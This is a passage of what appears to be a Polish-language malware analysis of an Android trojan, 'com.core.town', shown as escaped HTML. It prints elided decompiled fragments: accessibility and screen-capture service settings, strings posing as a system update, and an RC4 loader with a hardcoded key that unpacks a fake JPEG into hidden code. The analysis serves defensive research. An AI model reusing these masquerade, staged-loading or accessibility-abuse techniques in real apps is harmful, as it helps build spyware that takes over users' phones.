        &lt;span class="na"&gt;android:resource=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;@xml/accessibility_service_config&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/service&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;service&lt;/span&gt;
    &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;com.core.town.service.ScreenCaptureService&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:foregroundServiceType=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;mediaProjection|dataSync&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
...
&lt;span class="nt"&gt;&amp;lt;activity&lt;/span&gt;
    &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;com.core.town.SetupActivity&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:excludeFromRecents=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;intent-filter&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;action&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.intent.action.VIEW&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;category&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.intent.category.DEFAULT&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;category&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.intent.category.BROWSABLE&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;data&lt;/span&gt;
            &lt;span class="na"&gt;android:scheme=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;core&amp;quot;&lt;/span&gt;
            &lt;span class="na"&gt;android:host=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;setup&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/intent-filter&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Profil dostępności jest celowo bardzo szeroki:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;accessibility-service&lt;/span&gt; &lt;span class="na"&gt;xmlns:android=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http://schemas.android.com/apk/res/android&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:description=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;@string/accessibility_service_description&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:accessibilityEventTypes=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;typeAllMask&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:accessibilityFeedbackType=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;feedbackGeneric&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:notificationTimeout=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;100&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:accessibilityFlags=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;flagRequestFilterKeyEvents|flagReportViewIds|flagIncludeNotImportantViews|flagDefault&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:canRetrieveWindowContent=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:canPerformGestures=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Poniższe ciągi jasno pokazują sposób zamaskowania drugiego etapu jako rzekomego komponentu systemowego:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;string&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;accessibility_service_notification_title&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;System Update&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;string&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;app_name&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Android V.28.11&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;string&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;service_notification_title&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;System Component&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;string&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;setup_title&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Setup Required&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Najważniejszym odkryciem jest to, że &lt;code&gt;com.core.town&lt;/code&gt; sam w sobie jest kolejnym modułem ładującym. Jego klasa &lt;code&gt;Application&lt;/code&gt; nie tylko uruchamia usługi, ale także ładuje inny ukryty plik o nazwie &lt;code&gt;qkcCg.jpg&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;fade&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;easy&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;qkcCg.jpg&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Funkcja &lt;code&gt;attachBaseContext()&lt;/code&gt; tworzy wewnętrzną ścieżkę dla wspomnianego pliku i wykonuje się jedynie po jego skutecznym wypakowaniu:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;strA&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;e&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="n"&gt;fileA&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;strB&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strA&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;zD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strB&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;strA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stringBuffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;e&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h4&gt;Wypakowanie ukrytego etapu: &lt;code&gt;qkcCg.jpg&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Fragment wyciągnięty z &lt;code&gt;classes7.dex&lt;/code&gt; wskazuje, że &lt;code&gt;qkcCg.jpg&lt;/code&gt; nie jest plikiem graficznym w klasycznym rozumieniu. Wczytywanie korzysta z prostej warstwy dekodującej i zahardkodowanego klucza:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;sDjCM&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Zawiera także prosty dekoder na bazie XOR wykorzystywany do odzyskiwania nazw metod:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;bArr3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;bArr2&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i13&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i13&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;bArr3&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i13&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;length2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bArr2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Samo przekształcenie korzysta z &lt;code&gt;this.m.getBytes()&lt;/code&gt; a następnie wykonuje podobną do RC4 pętlę:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Method&lt;/span&gt; &lt;span class="n"&gt;methodA&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;61&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;63&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;46&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Class&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;?&amp;gt;[]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;Method&lt;/span&gt; &lt;span class="n"&gt;methodA2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;Class&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;methodA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;61&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;63&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;46&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;46&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;63&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Class&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;?&amp;gt;[]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;bArr2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;methodA2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;iArr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i3&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i3&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;iArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i3&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i4&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i4&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i35&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i33&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;bArr2&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i34&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;i25&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i35&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iArr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;bArr3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i6&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i6&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i75&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;iArr2&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iA2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;iA3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i78&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;i75&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i6&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;bArr3&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i6&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;i78&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;bArr3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Analiza offline potwierdziła, że zastosowanie RC4 z kluczem &lt;code&gt;sDjCM&lt;/code&gt; do pierwotnej wersji pliku &lt;code&gt;qkcCg.jpg&lt;/code&gt; skutkuje uzyskaniem archwium ZIP zawierającego finalną wersję &lt;code&gt;classes.dex&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Cechy szkodliwego oprogramowania&lt;/h2&gt;
&lt;p&gt;Ostatni etap po wypakowaniu odpowiada za właściwą część zachowania opisywanego modułu. On również wykorzystuje paczkę &lt;code&gt;com.core.town&lt;/code&gt;, ale nie służy już tylko do setupu.&lt;/p&gt;
&lt;h4&gt;Accessibility-based remote control&lt;/h4&gt;
&lt;p&gt;Ostateczna wersja &lt;code&gt;RemoteAccessibilityService&lt;/code&gt; wykonuje otrzymywane wiadomości z instrukcjami przekładając je na wstrzyknięcie gestów i w efekcie akcje globalne:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;com.core.town.CONTROL_MESSAGE&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
